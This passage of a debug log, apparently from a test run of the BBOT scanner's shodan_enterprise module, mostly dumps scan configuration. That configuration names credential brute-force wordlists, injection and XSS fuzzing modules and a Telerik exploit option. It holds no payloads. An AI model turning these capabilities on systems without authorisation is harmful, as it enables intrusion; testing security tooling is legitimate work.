'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'asn': {}, 'affiliates': {}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_q8s6vudj9t'}, 'started_at': '2026-02-27T19:11:52.845225', 'status': 'RUNNING'} -2026-02-27 19:11:53,560 [HUGEWARNING] bbot test_module_shodan_enterprise.py:23 set() -2026-02-27 19:11:53,560 [HUGEINFO] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:11:53,561 [CRITICAL] bbot test_module_shodan_enterprise.py:19 DNS_NAME_UNRESOLVED -2026-02-27 19:11:53,561 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:21 blacklanternsecurity.com -2026-02-27 19:11:53,561 [HUGEWARNING] bbot test_module_shodan_enterprise.py:23 {'target', 'in-scope', 'unresolved', 'domain'} -2026-02-27 19:11:53,562 [HUGEINFO] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:11:53,562 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN -2026-02-27 19:11:53,562 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_enterprise_test_q8s6vudj9t', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_q8s6vudj9t', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'asn': {}, 'affiliates': {}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_q8s6vudj9t'}, 'started_at': '2026-02-27T19:11:52.845225', 'finished_at': '2026-02-27T19:11:53.407956', 'duration_seconds': 0.562731, 'duration': '0 seconds', 'status': 'FINISHED'} -2026-02-27 19:11:53,563 [HUGEWARNING] bbot test_module_shodan_enterprise.py:23 set() -2026-02-27 19:11:53,563 [HUGEINFO] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:11:53,564 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-02-27 19:11:53,564 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-02-27 21:21:34,581 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 21:21:34,594 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 21:21:34,595 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 21:21:34,595 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 21:21:34,597 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 21:21:34,598 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 21:21:34,600 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 21:21:34,602 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 21:21:34,602 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 21:21:34,604 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 21:21:34,605 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 21:21:34,608 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 21:21:34,609 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 21:21:34,613 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 21:21:34,614 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 21:21:34,617 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 21:21:34,618 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 21:21:34,620 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 21:21:34,621 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 21:21:34,623 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 21:21:34,624 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 21:21:34,626 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 21:21:34,626 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 21:21:34,627 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from 